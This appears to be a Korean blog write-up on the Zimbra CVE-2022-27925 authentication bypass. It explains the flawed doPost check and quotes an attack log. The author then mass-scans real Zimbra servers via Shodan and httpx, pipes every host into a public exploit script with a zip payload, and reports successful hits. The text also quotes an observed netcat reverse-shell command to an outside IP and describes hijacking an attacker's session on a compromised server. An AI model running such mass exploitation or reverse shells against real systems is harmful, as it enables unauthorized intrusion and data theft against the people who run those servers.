
CVE-2022-27925
다음 연구는 여러 연구자들이 GitHub에 공유한 여러 저장소의 POC를 이해하려는 시도로 시작되었으며, 흥미로운 발견으로 끝났습니다. 이는 다음 단락에서 공유하겠습니다. 올해 8월 10일, 보안 연구 그룹 Volexity는 트위터를 통해 ZCS(Zimbra Collaboration Server) 스위트의 대규모 익스플로잇이 발견되었으며, 이는 인증 우회를 가능하게 하고 전 세계적으로 약 1,000개의 Zimbra 인스턴스가 손상되었다고 발표했습니다.
Volexity의 동료들이 제시한 연구에서는 확인된 로그의 일부를 보여주었습니다.
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
마찬가지로, 코드의 결함은 doPost 함수로 인한 것이라고 설명했습니다.

이 코드의 문제는 인증을 확인하고 오류 메시지를 설정하지만 반환문이 없다는 것입니다. 이는 사용자의 인증 상태와 관계없이 후속 코드가 계속 실행된다는 것을 의미합니다. 함수를 따라 내려가면, 공격자는 URL에 올바른 매개변수만 설정하면 취약점을 악용할 수 있습니다.
가능한 원인을 이해하고 일부 POC가 이미 나온 후, 단계별 익스플로잇을 진행합니다. 하지만 먼저 greynoise 도구를 사용하여 상태를 조사합니다.

CVE-2022-27925가 공개된 지 한 달이 넘었음에도 여전히 공격이 이루어지고 있음을 확인할 수 있습니다.
Shodan에서는 약 45,223개의 Zimbra 설치를 확인할 수 있습니다.

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

결과를 파싱합니다.
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

데이터를 검토하고 자동화 테스트에 필요한 형식으로 변환합니다.
온라인에서 사용할 수 있도록 데이터를 파싱합니다.

docker에서 httpx를 사용합니다.

GitHub에서 POC를 다운로드합니다.
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

POC로 원라이너를 테스트합니다. 중요한 점은 파싱된 파일을 POC 디렉토리로 이동하거나 절대 경로로 호출해야 하며, shodan 덤프를 사용할 수도 있다는 것입니다.
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

이 테스트 중 많은 대상이 이미 패치된 상태로 나타납니다.
마지막으로 결과를 얻었습니다.


취약점이 익스플로잇된 후, 정보 유출 및 협박 준비를 위한 APT 스크립트 파일이 관찰되었습니다.

악성 파일 gift

백업 및 유출 파일
발견된 경로 중 하나에는 여러 웹쉘이 포함되어 있었습니다.
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

실행 중인 프로세스 분석 결과, 크론잡이 설치되어 이메일을 패키징하고 있었습니다.

참고: 다음은 교육 목적으로만 수행되었으며 선의의 행동을 위한 것입니다.
netcat 다운로드가 확인된 후 공격자의 세션을 점유했습니다. netcat ./nc 52.90.92.82 443 -e /bin/bash 사용이 관찰되었습니다.
30일 이상 전에 공개적으로 보고된 취약점이 이 글을 작성하는 시점에도 여전히 유효합니다. 피해자들에게 통보했지만 취약점이 여전히 활성화되어 있어 성공하지 못했습니다.